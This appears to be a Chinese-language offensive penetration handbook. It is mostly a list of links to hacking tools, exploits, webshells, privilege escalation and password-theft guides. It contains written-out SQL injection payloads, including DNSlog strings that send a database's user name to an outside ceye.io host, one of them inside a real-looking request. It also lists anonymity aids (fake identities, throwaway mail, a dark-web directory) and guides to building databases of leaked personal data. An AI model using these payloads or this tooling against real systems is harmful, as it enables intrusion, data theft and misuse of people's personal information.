5号黯区渗透手册

- 域渗透
- 横向渗透
- 中间人攻击

backdoor

- Windows backdoor
- Linux backdoor
- Web backdoor

MS/CVE/EXP利用

免杀/bypass

- bypass国内各种盾、狗、神
- Cobalt Strike/Metasploit
- 注入bypass
  - SQLMap

日志/溯源：

- Linux
- windos

系统加固：

- Linux：

各种总结

各种渗透案例

- 综合渗透案例
- 内网渗透案例
- silic的渗透案例

其他类文章

数据库

- MongoDB

代码审计

- PHP代码审计
- ASP代码审计
- JSP代码审计
- 其他代码审计

各种网站

1. `https://github.com/fuzzdb-project/fuzzdb`

2. `https://github.com/danielmiessler/SecLists` 字典
3. `https://github.com/tennc/webshell` 最全的Webshell脚本
4. `https://github.com/Ridter/Pentest` 大牛的各种脚本
5. `http://file.mayter.cn/` mayter的分享站点
6. `https://www.somd5.com/download/dict/` 字典
7. `http://securityxploded.com/download.php` 国外站点各种小公具
8. `https://navisec.it/` 网址导航
9. `https://navisec.it/%E7%BC%96%E8%BE%91%E5%99%A8%E6%BC%8F%E6%B4%9E%E6%89%8B%E5%86%8C/` 编辑器漏洞手册
10. `http://shentoushi.top/` 网络安全从业者安全导航
11. `https://wooyun.shuimugan.com/` 乌云8.9w漏洞查询
12. `https://www.guerrillamail.com/zh/inbox?mail_id=88646495` 临时邮箱（半个小时）
13. `https://mail.yandex.com/?uid=539638978&login=beyond1-beyond#inbox` 免费邮箱
14. `www.gmx.com` **极好的免费邮箱**
15. `http://www.fakenamegenerator.com` 身份信息生成
16. `http://thehiddenwiki.org/` 暗网导航
17. `http://www.nirsoft.net` 各种小公具、可以说应有尽有
18. `http://blog.csdn.net/hackerie/article/details/77885818` 开源漏洞扫描器合集
19. `http://www.haoweichi.com/` 死外国佬 信息生成（中文）

准备杀猪刀

Python工具库（感谢backlion整理）
`https://www.t00ls.net/pytools.html`

weblogic 管理密码在线解密的工具，python版
`https://threathunter.org/topic/5954b6480084b15859bc7268`

`https://github.com/dc3l1ne/Weblogic-Weakpassword-Scnner` Weblogic爆破

空间搜索引擎

- shodan.io

`https://cli.shodan.io/`
利用Shodan和Censys进行信息侦查
`http://www.freebuf.com/articles/web/90887.html`

- censys.io
  利用Censys批量获取Juniper Netscreen后门
  `http://www.freebuf.com/vuls/90886.html`
- Censys：一款洞察互联网秘密的新型搜索引擎
  `http://www.freebuf.com/news/89285.html`
- Fofa.so

  > 垃圾东西，老子爬行都封我账号

  采集fofa结果脚本v2
  `http://www.ansbase5.org/?p=190`
- zoomeye.org

  > 这个也是垃圾，最多只给5000的结果

系统环境

- 扫描器横向对比图
  `http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html`

Docker

1. 我的不归路之重新认识Docker（完整版）
   `http://www.secist.com/archives/4016.html`
2. 使用Docker构建渗透测试容器（安全相关Docker Image收集）
   `https://xianzhi.aliyun.com/forum/read/613.html`
3. 使用Docker环境快速搭建靶机环境
   `http://www.freebuf.com/articles/system/143711.html`

社工库

- 使用ELK搭建社工库
  `https://www.t00ls.net/articles-32593.html`
- 搭建秒级查询社工库实践
  `https://www.secquan.org/Notes/731`

- 手把手教你DIY一个CloudEye
  `http://www.freebuf.com/sectool/87846.html`
- Lalin：一款为Kali集成各种安全工具的懒人工具包
  `http://www.freebuf.com/news/142759.html`

互联网扫描器

比一比Nmap、Zmap、Masscan三种扫描工具
`http://www.freebuf.com/sectool/119340.html`

基于nmap扫描结果的端口爆破工具:BrutesPray
`http://bobao.360.cn/learning/detail/4024.html`

Zmap (不支持多端口扫描)

安装zmap可以直接 `apt-get install zmap` ，当然这个不是最新版本的zmap,这样安装的zmap是不支持分片式扫描的，要安装最新的可以直接去官方的GitHub下载安装。

手动安装最新版zmap (这个安装姿势我不是很明白，只是测试可行，总感觉有问题)

```
apt-get install build-essential cmake libgmp3-dev gengetopt libpcap-dev flex byacc  libjson-c-dev pkg-config libunistring-dev -y
apt-get install git  -y
git clone https://github.com/zmap/zmap.git
cd zmap
cmake -DCMAKE_INSTALL_PREFIX=$HOME/opt .
make -j4
make install
cd
cp /root/opt/sbin/zmap /usr/sbin/
rm /root/opt/ -rf
zmap -h
```

zmap伪 分布式扫描

`zmap 你的参数 --shards=N --shard=n -seed=一个固定的数`
如果要扫全网的80，提供一共5台机器，每台机器给50M来扫描，那么：

1. `zmap -B 50M -p 80 -n 100% -o results0.txt --shards=5 --shard=0 --seed=65534`
2. `zmap -B 50M -p 80 -n 100% -o results1.txt --shards=5 --shard=1`

`--seed=65534`

3. `zmap -B 50M -p 80 -n 100% -o results2.txt --shards=5 --shard=2 --seed=65534`
4. `zmap -B 50M -p 80 -n 100% -o results3.txt --shards=5 --shard=3 --seed=65534`
5. `zmap -B 50M -p 80 -n 100% -o results4.txt --shards=5 --shard=4 --seed=65534`

```
--shards=N 意思就是机器总数

--shard=n 意思是当前机器序号 <序号从0开始>

--seed=65534 就是随机数种子，这里设置为65534
```

互联网扫描器 ZMap 完全手册
`https://linux.cn/article-5860-1.html`

Masscan (支持多端口扫描)

安装姿势 (debian系列)

```
sudo apt-get install git gcc make libpcap-dev -y
git clone https://github.com/robertdavidgraham/masscan
cd masscan
make
cd bin
cp masscan /usr/bin/
masscan
cd ../../
rm -rf masscan/
```

Masscan：最快的互联网IP端口扫描器
`http://www.freebuf.com/sectool/112583.html`

Masscan教程和入门手册
`http://www.4hou.com/tools/8251.html`

主机网络扫描

- 在docker容器快速部署Nessus（Linux版）

`https://www.t00ls.net/articles-36468.html`

综合扫描

- AWVS
  awvs 11一键启动-停止脚本
  `https://xianzhi.aliyun.com/forum/read/1616.html`
  利用burpsuite去掉AWVS标识
  `https://www.t00ls.net/articles-38059.html`
- APPScan
- BurpSuite
  BurpSuite中的安全测试插件推荐
  `https://www.waitalone.cn/burpsuite-plugins.html`
  burp-vulners-scanner
  `https://www.t00ls.net/thread-42335-1-1.html`
  网络文章
  HUNT：一款可提升漏洞扫描能力的BurpSuite漏洞扫描插件
  `http://www.freebuf.com/sectool/143182.html`
  利用burpsuite去掉AWVS标识
  `https://www.t00ls.net/articles-38059.html`

实战教程：用Burpsuite测试移动应用程序
`http://www.4hou.com/penetration/8965.html`

burp suite手册知识
intruder攻击类型

1. Sniper标签
   这个是我们最常用的，Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。
2. Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中
3. Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组，把payload放入每个定义的位置中。比如：position中A处有a字典，B处有b字典，则a【1】将会对应b【1】进行

attack处理，这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量

4. Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组，每种payload组合都会被测试一遍。比如：position中A处有a字典，B处有b字典，则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。

CMS识别

- whatweb
  whatweb初级篇
  `http://www.freebuf.com/column/151540.html`
  whatweb高级篇
  `http://www.freebuf.com/column/152611.html`
- 御剑web指纹识别
- Web App 特征识别库
  `https://gist.github.com/Tr3jer/271a9e26e267a47a8e9f1aa76c47a003`
  `http://www.thinkings.org/2017/05/29/characteristics-data.html`

目录扫描

- 御剑 经典 版本很多，我列举的是珍藏版
  `http://www.jb51.net/softs/43405.html`
- 轻量级web目录扫描器 - webscan_dir
  `https://github.com/0daysec/webscan_dir`
  `https://www.t00ls.net/viewthread.php?tid=42717`
- DirBuster
  `https://sourceforge.net/projects/dirbuster/`
- DirBrute
  `https://github.com/Xyntax/DirBrute`
- python自动化WEB旁注目录扫描器
- Sensitive FileScan 爬行站点并根据爬行出来的目录扫描（这是我一直想做的扫描器现在有人做了）
  `https://github.com/aipengjie/sensitivefilescan`
- 用python实现dirbuster,附字典（From t00ls）
  `https://www.t00ls.net/thread-42869-1-1.html`

`https://github.com/githubmaidou/tools/tree/master/dirScan`

XSS扫描

- XSSfork
  `https://github.com/bsmali4/xssfork`
- XSStrike：基于Python的XSS测试工具
  `http://www.freebuf.com/sectool/142044.html`

其他单一漏洞扫描

- 一款用于发现SSRF、XXE、XSS漏洞的小工具
  `https://github.com/jobertabma/ground-control`
- IIS短文件名暴力枚举漏洞利用工具(IIS shortname Scanner)
  `https://github.com/lijiejie/IIS_shortname_Scanner/blob/master/iis_shortname_Scan.py`

SQL注入工具

- 阿D注入工具 英文名字：DSQLTools

  > 还有比这个更加经典的注入工具么？答案是没有！从2006年问世以来，10年间多少人都是从这个工具开始的，我相信80%的安全人员都用过阿D注入工具，这是多么令人怀念的工具啊，直到现在，我经常掏出这款神器来玩，在当时，国外那些批量找注入的工具都弱爆了，唯有我阿D能1秒百个注入！当然，时过境迁，阿D已经不能满足当前的网络环境所带来的需求了，不过经典终究是经典。

- 明小子注入工具 英文名字：Domain

  > 明小子注入工具是还在黑客动画吧的明小子写的一款工具，他作为黑客动画吧的学员逆袭成为讲师，并给会员留下来的工具，能注入Access、MsSQL、Mysql数据库，准确率也比阿D高，只是批量的话就逊色不少，并且在界面方面个人感觉没有阿D做的靓仔。

- HDSI

  > 教主的作品，当然不是你们知道的教主，这个教主是我们开始学习都已经隐退的人儿了。他的这个工具也可以说是一个划时代的产物，支持多种数据库的注入，并且可以扫目录、后台、文件，还有MsSQl注入点的多种利用功能。

- NBSI

  > 曾记否？遥想当年，岁月联盟是多么的牛逼，无数脚本小子所神往的地方，这就是岁月联盟的出品的！直至现在还没有比NBSI对MsSQl注入点判断还要准确的注入工具了。

- pangolin

  > 支持的数据库仅次于SQLMap，功能非常强大，很多时候SQLMap出不来，pangolin却可以做到。

- SQLMap
  下载 --> `git clone https://github.com/sqlmapproject/sqlmap.git`

  > 自从SQLMap问世以来，多少安全人员从Pangolin、havij、HDSI、NBSI来到了SQLMap。

- 大规模SQL注入漏洞扫描器：SQLiv
  `http://www.freebuf.com/column/145948.html`

特定系统exploit扫描利用

- 爬虫爬取，然后根据POC利用
  `https://github.com/erevus-cn/pocscan`
- Jenkins漏洞探测、用户抓取爆破
  `https://github.com/blackye/Jenkins`
- Some-PoC-oR-ExP
  `https://github.com/aipengjie/Some-PoC-oR-ExP`
- joomla
  - joomlavs
  - joomlascan
- exp-for-python 一些python脚本
  `https://github.com/backlion/exp-for-python`
- WordPress漏洞相关
  - WPForce——一款 Wordpress 漏洞利用工具
    `http://www.4hou.com/technology/4254.html`
  - WordPress漏洞利用框架v1.6.1
    `http://pentestit.com/update-wordpress-exploit-framework-v1-6-1/`

    - 在线扫描WordPress网站漏洞
      `https://wpscans.com/`
    - WordPress扫描器plecost 找出CVE
      `https://github.com/iniqua/plecost`

- 数据库类
    - mongodb-redis匿名扫描脚本
      `https://xianzhi.aliyun.com/forum/read/659.html`

爆破工具

- 弱口令检测(F-Scrack) #--# Python的 不错的
  支持以下服务：FTP、MYSQL、MSSQL、MONGODB、REDIS、TELNET、ELASTICSEARCH、POSTGRESQL
  `https://xianzhi.aliyun.com/forum/read/306.html`
  `https://github.com/ysrc/F-Scrack`
- 醉考拉_tomcat弱口令扫描器 v1.0
  `https://github.com/magicming200/tomcat-weak-password-scanner`

自制弱口令字典top100
`http://gv7.me/articles/2017/making-the-password-top-100/`

分布式扫描器

- NagaScan：针对Web应用的分布式被动扫描器
  `http://www.freebuf.com/vuls/141679.html`
- 在docker容器中运行或一键运行GourdScanV2 (windows版)
  `https://www.t00ls.net/articles-36467.html`

内网渗透相关

Empire：PowerShell后期漏洞利用代理工具
`http://www.freebuf.com/articles/web/76892.html`
`http://www.powershellempire.com/`

渗透利器之内网信息获取工具
`http://wolvez.club/?p=505`

其他小工具

nirsoft_package_1.20.11
`http://download.nirsoft.net/nirsoft_package_1.20.11.zip`

多功能Python键盘记录工具：Radium
`http://www.freebuf.com/sectool/150596.html`

信息收集

- **知识要点**
  - 乙方渗透测试之信息收集
    `http://www.cnnetarmy.com/%E4%B9%99%E6%96%B9%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/` PDF
  - 微步在线 `x.threatbook.cn`
  - 渗透测试工程师子域名收集指南
    `http://www.4hou.com/technology/8535.html`
  - 渗透测试向导—子域名枚举技术
    `https://zhuanlan.zhihu.com/p/31160156`
  - 我眼中的渗透测试信息搜集
    `https://xianzhi.aliyun.com/forum/read/451.html`
  - 熟练利用shodan hacking 辅助我们快速渗透 [通常针对大中型目标]
    `https://klionsec.github.io/2014/12/15/shodan-hacking/`
  - 从phpinfo中能获取哪些敏感信息
    `https://xianzhi.aliyun.com/forum/read/1418.html`
- **相关工具**
  LNScan–一个高效的信息探测脚本
  `http://0ke.org/index.php/archives/40/`
  不老的神器：安全扫描器Nmap渗透使用指南
  `http://www.freebuf.com/news/141607.html`
  一些Nmap NSE脚本推荐
  `http://www.polaris-lab.com/index.php/archives/390/`
- **相关案例**
  以针对Yahoo! 的安全测试为例讲解如何高效的进行子域名收集与筛选
  `http://www.freebuf.com/articles/network/140738.html`

子域名收集

- subDomainsBrute #--#非常优秀，但是只是子域名爆破
  `https://github.com/lijiejie/subDomainsBrute`
- Sublist3r 还会通过搜索引擎来搜索子域名
  `https://github.com/aboul3la/Sublist3r.git`
- Teemo 子域名收集中重量级工具
  `https://github.com/bit4woo/Teemo.git`

未授权访问

未授权访问漏洞总结
`https://paper.seebug.org/409/` 已保存PDF

不请自来 | Redis 未授权访问漏洞深度利用
`http://www.freebuf.com/vuls/148758.html`

memcache未授权访问利用工具为：go-derper

WEB安全

- web应用渗透测试流程
  `http://mp.weixin.qq.com/s/pbE86sBNWxKojKk8Vt-reg`

SQL注入攻击

SQL注入只与被注入的数据库有关，跟网站使用的脚本语言无关
Sqlmap Wiki翻译
Sqlmap Wiki翻译
`http://www.findbugs.top/archives/99` PDF

工具| sqlmap payload修改之路（上）
`http://www.freebuf.com/column/161535.html`

通过使用Burp和Sqlmap Tamper利用二次注入漏洞
`https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/`

如何手写一款SQL injection tool
`http://www.freebuf.com/column/132790.html`
用Mitmproxy辅助Sqlmap自动化利用特殊漏洞
`http://www.freebuf.com/sectool/146578.html`

MySQL

mysql报错注入读取文件

`select 1 from (select count(*),concat(floor(rand(0)*2),substring((select load_file('c:/3.php')),1,64))a from information_schema.tables group by a)b;`

【技术分享】MySQL 注入攻击与防御

`http://bobao.360.cn/learning/detail/3758.html`

【技术分享】一种新的MySQL下Update、Insert注入方法

`http://bobao.360.cn/learning/detail/3498.html`

【技术分享】CVE-2016-5483：利用mysqldump备份可生成后门

`http://bobao.360.cn/learning/detail/3591.html`

mysql 报错注入

mysql报错注入（显错注入）整理

`http://www.moonsec.com/post-579.html`

mysql 布尔型盲注

MySQL-盲注浅析

`http://rcoil.me/2017/11/MySQL-%E7%9B%B2%E6%B3%A8%E6%B5%85%E6%9E%90/` 很好的科普文

知识点

- left()

  `and left(version(),1)='5'`

`and left(version(),3)='5.1'`

同理还有以下函数可使用

- substring()/substr()

  `and substring(version(),1,1)='5'`

  `and substring(version(),1,2)='5.'`

  `and substring(version(),1,3)='5.1'`

  变种

  `and  (select ascii(substring((select database()),1,1))=119)`

- mid()
- ord()
  此函数为返回第一个字符的ASCII码，经常与上面的函数进行组合使用,有时候过滤'号，就可以这样用了。
  `ORD(MID(DATABASE(),1,1))>114`
  意为检测database()的第一位ASCII码是否大于114
  `ORD(MID(DATABASE(),2,1))>114`
  检测第二位

sql注入入门 之 mysql 布尔型盲注（不适合零基础看）
`https://klionsec.github.io/2016/05/14/mysql-bool-blind-injection/`

mysql 延时盲注

知识点
延时注入是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术。
个人理解：延时盲注就是在布尔型的基础上加上延时代码，因为只用布尔盲注手法还是无法得出数据的情况下，所以我们就加上延时代码，如果语句能够正常按照我们预想的执行，那么浏览器页面就会按照*SQL*注入语句中写的延时代码延迟相应的时间后才会刷新浏览器页面。

- sleep()
  `sleep(3) //延迟3秒`
- benchmark()
  `' and benchmark(20000000,sha1(1))-- //--后有个空格`
- sqlmap 延时盲注
  `sqlmap -u "url" --technique=T --time-sec=3 --risk=3`

MYSQL注入天书之盲注讲解
`http://www.cnblogs.com/lcamry/p/5763129.html`

SQL server

SQLServer注入技巧
`http://ecma.io/356.html#comment-3` PDF

> 注入/写Webshell姿势，Nice。

MSSQL 注入攻击与防御
`http://bobao.360.cn/learning/detail/3807.html`

SQL server 布尔盲注

SQL Server手工注入笔记-布尔值盲注篇
`http://www.secange.com/2017/06/sql-server%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0-%E5%B8%83%E5%B0%94%E5%80%BC%E7%9B%B2%E6%B3%A8%E7%AF%87/`

SQL server 延时盲注

`WAITFOR DELAY '0:0:5'`

SQL Server手工注入笔记-延时注入篇
`http://www.secange.com/2017/06/sql-server%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0-%E5%BB%B6%E6%97%B6%E6%B3%A8%E5%85%A5%E7%AF%87/`

MSsql盲注指南
`http://bobao.360.cn/news/detail/3214.html`

网站后台的盲注 - - 希望大牛指点(注：文中案例可使用)
`https://forum.90sec.org/forum.php?mod=viewthread&tid=5171`

SQL server 报错注入

SQL Server手工注入-显错注入
`http://iverson5.lofter.com/post/1cc66689_4c9eaf2#` PDF

Access

Oracle

#

---

postgresql

PostGresql 延时盲注

- `PG_SLEEP(5)`
- `GENERATE_SERIES(1,10000)`

网络案例

一次postgresql的盲注

`https://forum.90sec.org/forum.php?mod=viewthread&tid=5222`

DNSlog注入

1. `(select%20load_file(CONCAT('\\\\',(select%20user()),'.8dmer4.ceye.io\\uho')))`
2. `status=search&txtTuKhoa=1&combotype=null'%2b(select%20load_file(CONCAT('\\\\',(select%20user()),'.8dmer4.ceye.io\\uho')))%2b'&txtTenSach=`

手把手教你DIY一个CloudEye

`http://www.freebuf.com/sectool/87846.html`

利用DNS进行注入（突破盲注延时限制）注：不错哦

`https://forum.90sec.org/forum.php?mod=viewthread&tid=9473`

突破延迟注入和盲注速度限制，利用dns注入快速获取数据

`https://phpinfo.me/2016/05/10/1210.html`

DNSlog 注入初探

`https://forum.90sec.org/forum.php?mod=viewthread&tid=9675`

在SQL注入中使用DNS获取数据

`http://static.hx99.net/static/drops/tips-5283.html`

HawkEye Log/Dns 在Sql注入中的应用

`http://docs.hackinglab.cn/HawkEye-Log-Dns-Sqli.html`

DNSLog

`https://github.com/BugScanTeam/DNSLog`

文件上传攻击

文件上传绕过姿势总结

`http://www.cnnetarmy.com/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/`

文件上传之绕过

`https://edu.aqniu.com/article/45`

服务器解析漏洞
`https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/` PDF

文件上传漏洞（绕过姿势）
`https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/` PDF

文件上传-绕过
`http://byd.dropsec.xyz/2017/02/21/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0-%E7%BB%95%E8%BF%87/` PDF

文件上传漏洞总结
`http://jdrops.dropsec.xyz/2017/07/17/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/` PDF

常见上传绕过总汇
`http://www.legendsec.org/1665.html`

文件上传小总结
`http://ohroot.com/2014/11/16/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%B0%8F%E6%80%BB%E7%BB%93/`

文件上传绕过姿势
`https://evilchurch.cc/page/file-upload/` PDF

XSS攻击

知识点

那些年我们一起学过的XSS
`https://0x9.me/YCZcX`

XSS挑战之旅学习总结
`https://www.secpulse.com/archives/59497.html`

从瑞士军刀到变形金刚--XSS攻击面拓展
`https://xianzhi.aliyun.com/forum/read/1988.html`

案 例

每个人都该知道的7种主要的XSS案例

http://bobao.360.cn/learning/detail/4223.html

CSRF攻击

SSRF攻击

build_your_ssrf_exp_autowork

https://github.com/ring04h/papers/blob/master/build_your_ssrf_exp_autowork--20160711.pdf

SSRF攻击实例解析

http://www.freebuf.com/articles/web/20407.html

通过漏洞组合利用实现企业内网入侵

http://www.10tiao.com/html/148/201703/2651665089/1.html

SSRF漏洞(原理&绕过姿势)

https://www.t00ls.net/articles-41070.html

SSRF漏洞的挖掘经验

http://bobao.360.cn/learning/detail/240.html

Bool型SSRF的思考与实践

http://wps2015.org/drops/drops/Bool%E5%9E%8BSSRF%E7%9A%84%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5.html

文件包含攻击

命令注入攻击

命令注入漏洞测试方法谈

https://www.hackerone.com/blog/how-to-command-injections

逻辑安全

分享一个近期遇到的逻辑漏洞案例

http://www.freebuf.com/vuls/151196.html

数据库安全

SQLMAP 的SHELL 、UDF 解码

`https://www.t00ls.net/viewthread.php?tid=34978`

MySQL

Mysql数据库渗透及漏洞利用总结
`http://paper.tuisec.win/detail/83a7e1c4201e19e` 已保存为PDF

MySQL利用UDF执行命令遇到的坑
`http://ecma.io/615.html`

Oracle

oracle写shell
`https://www.doyler.net/security-not-included/oracle-command-execution-sys-shell`

MSSQL/SQL server

如何通过SQL Server执行系统命令？
`http://www.4hou.com/technology/3338.html` 已保存为PDF

两年来收集的一些 MSSQL提权 常用命令及提权技巧。
`https://www.t00ls.net/viewthread.php?tid=23198` 已保存为PDF和TXT

技术分享：MSSQL注入xp_cmdshell
`http://www.freebuf.com/articles/web/55577.html`

PostgreSQL

> 已保存了udf在手册目录

PostgreSQL UDF手工提权
`https://www.t00ls.net/viewthread.php?tid=22829`
PostgreSQL UDF提权
`https://www.t00ls.net/viewthread.php?tid=22540`
postgresql udf打包
`https://www.t00ls.net/viewthread.php?tid=33452`
全部postgresql udf文件打包
`https://www.t00ls.net/viewthread.php?tid=31575`

postgresql数据库udf执行命令资料的都不成功，请大神帮忙看看
`https://www.t00ls.net/viewthread.php?tid=35925`

各种渗透小姿势/奇淫绝技

linux各种一句话反弹shell总结
`http://bobao.360.cn/learning/detail/4551.html`

浅析重定向与反弹*Shell*命令
`http://www.freebuf.com/articles/system/153986.html`

你能找到我么？-- 隐藏用户建立（*Powershell*）
`https://evi1cg.me/archives/UserClone.html`

渗透技巧——从Admin权限切换到System权限
`http://www.4hou.com/technology/8814.html`

Windows命令行下载远程payload及执行任意代码的几种方法
`http://www.4hou.com/system/8661.html`

windows环境下批处理实现守护进程
`http://blog.csdn.net/qin9r3y/article/details/22805095`

读取iis配置(包括密码)
已保存有EXE

【技术分享】使用burp macros和sqlmap绕过csrf防护进行sql注入
`http://bobao.360.cn/learning/detail/3557.html`

【技术分享】如何使用Burp Suite Macros绕过防护进行自动化fuzz测试
`http://bobao.360.cn/learning/detail/4363.html`

渗透测试中的certutil
`https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84certutil.exe/`

利用反代获取管理员信息与脱裤
`https://www.t00ls.net/articles-37501.html`

如何将简单的Shell转换成为完全交互式的TTY
`http://www.freebuf.com/news/142195.html`

绕过CDN查找网站真实IP方法收集
`https://www.t00ls.net/articles-36160.html`

最简单的方法--修改User-Agent OR 模拟浏览器你还在用安装插件
`https://www.t00ls.net/articles-37079.html`

Win下渗透小技巧整理
`https://www.t00ls.net/articles-37224.html`

cmd上传文件的N种方法
`https://www.t00ls.net/articles-37253.html`

较为先进的攻击姿势

Use xwizard.exe to load dll
`http://www.secange.com/2017/08/use-xwizard-exe-to-load-dll/`

【Blackhat】详解Web缓存欺骗攻击
`http://bobao.360.cn/learning/detail/4175.html`

文档型漏洞攻击研究报告
`https://www.secpulse.com/archives/59165.html`

安全直接对象引用漏洞入门指南
`http://www.hackingarticles.in/beginner-guide-insecure-direct-object-references/`

About Powershell

Powershell攻击指南——黑客后渗透之道系列之基础篇
`https://www.anquanke.com/post/id/87976`

Powershell(一) `https://04z.net/2017/06/27/Powershell-One/`

Powershell(二) `https://04z.net/2017/06/29/Powershell-Two/`

Powershell(三) `https://04z.net/2017/07/02/Powershell-Three/`

Powershell 渗透测试工具-Nishang（一）
`http://bobao.360.cn/learning/detail/3182.html`

Powershell 渗透测试工具-Nishang（二）
`http://bobao.360.cn/learning/detail/3200.html`

一篇文章精通PowerShell Empire 2.3（上）
`https://www.anquanke.com/post/id/87328`

一篇文章精通PowerShell Empire 2.3（下）
`https://www.anquanke.com/post/id/87333`

“无文件”攻击方式渗透实验

`http://www.freebuf.com/articles/system/129228.html`

无弹窗APT渗透实验

`http://www.freebuf.com/articles/network/146650.html`

PowerShell 安全专题之攻击检测篇

`https://zhuanlan.zhihu.com/p/25226349`

绕过PowerShell 执行策略的15种方法

`http://www.jianshu.com/p/3c2f048b2870`

PSAttack：一个包含所有的渗透测试的powershell脚本框架

`http://pentestit.com/psattack-offensive-powershell-console/`

使用Powershell反弹Meterpreter Shell

`http://www.mottoin.com/87266.html`

如何不调用PowerShell.exe获得Empire agent

`http://bobao.360.cn/learning/detail/4187.html`

权限提升

Windows权限提升

windows提权EXp总结

`https://github.com/SecWiki/windows-kernel-exploits`

windows本地提权对照表

`http://www.7kb.org/138.html`

WinServer2012提权：实验RottenPotato(烂土豆)+Metasploit

`https://www.t00ls.net/articles-41160.html`

Potato(邪恶土豆)–windows全版本猥琐提权

`https://www.bbsmax.com/A/A2dmVZQ7ze/`

邪恶土豆配合MSF提权

`http://qq1.ltd/?p=44`

metasploit渗透测试之信息收集（一）

`http://mp.weixin.qq.com/s/jULhbW8MbNSC2NGCt82y5A`

命令行下的信息搜集

`http://www.secange.com/2017/08/%e5%91%bd%e4%bb%a4%e8%a1%8c%e4%b8%8b%e7%9a%84%e4%bf%a1%e6%81%af%e6%90%9c%e9%9b%86-2/`

攻击者侵入系统后如何提升账户权限：提权技术详细分析
`http://www.freebuf.com/news/141335.html`

使用Frida从TeamViewer内存中提取密码
`https://github.com/vah13/extractTVpasswords`

Windows内核攻击提权(包含18种系统级别exp)
`http://mp.weixin.qq.com/s/gFnEaHzXodg2ILPUVf6GYg`

Linux 权限提升

*Linux udf*提权 以下3文已经保存PDF
`http://www.bkjia.com/Mysql/823966.html`
`http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%9D%83linux%E5%B9%B3%E5%8F%B0/`
`http://www.aptno1.com/YC/368.html`

*linux system*函数提权
mysql以ROOT权限提权方法
`http://www.cnblogs.com/sevck/p/5583004.html`
`http://blog.51cto.com/297020555/544763`

Linux被动提权
`http://www.nsfocus.com.cn/upload/contents/2015/03/o_19fepnsho122bcmt1jm211cb1l57b.pdf` PDF

Linux提权exp总结
`https://github.com/SecWiki/linux-kernel-exploits`

Linux非交互式提权
`http://ecma.io/611.html` PDF

实战Linux下三种不同方式的提权技巧
`http://bobao.360.cn/learning/detail/2984.html`

Linux提权：从入门到放弃
`http://www.freebuf.com/articles/system/129549.html`

Basic Linux Privilege Escalation (英文版)
`https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/`

Linux suid提权
对SUID可提权Root Shell的探究
`http://www.freebuf.com/articles/system/149118.html`

利用SUID提权root
`https://www.jifucha.net/post/5.html` PDf

> 要登陆到系统、看着貌似成功率还不错

Linux提权EXP

Linux kernel: Exploitable memory corruption due to UFO to non-UFO path switch(CVE-2017-1000112)
`https://www.seebug.org/vuldb/ssvid-96343`

CVE-2018-1000001本地linux提权
`https://paper.tuisec.win/detail/ba1071d4bb3b724`

后渗透阶段：

渗透技巧——导出Chrome浏览器中保存的密码
`http://www.4hou.com/technology/10114.html`

浏览器密码存储原理和渗透中的利用
`https://paper.tuisec.win/detail/f4c4807022a0e26`

获取用户hash的姿势
`http://www.cnnetarmy.com/%E8%8E%B7%E5%8F%96%E7%94%A8%E6%88%B7hash%E7%9A%84%E5%A7%BF%E5%8A%BF/` PDF

后渗透阶段的攻防对抗
`https://04z.net/2017/06/23/Bypass-Privilege/`

后渗透攻防的信息收集
`https://www.secpulse.com/archives/51527.html`

内网安全——利用NSA Smbtouch批量检测内网
`https://3gstudent.github.io/3gstudent.github.io/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8-%E5%88%A9%E7%94%A8NSA-Smbtouch%E6%89%B9%E9%87%8F%E6%A3%80%E6%B5%8B%E5%86%85%E7%BD%91/`

目标密码抓取

- 一键抓取目标机器上的所有明文密码LaZagne
  `https://klionsec.github.io/2017/10/26/LaZagne/`
  `https://github.com/AlessandroZ/LaZagne.git`
  `https://github.com/AlessandroZ/LaZagne/releases/`
  本地密码查看工具LaZagne中的自定义脚本开发
  `http://www.4hou.com/tools/7404.html` 已保存PDF
- 渗透利器之本地客户端程序密码获取
  `http://wolvez.club/?p=498`
- 抓取密码并传给远程服务器（可交互的情况）
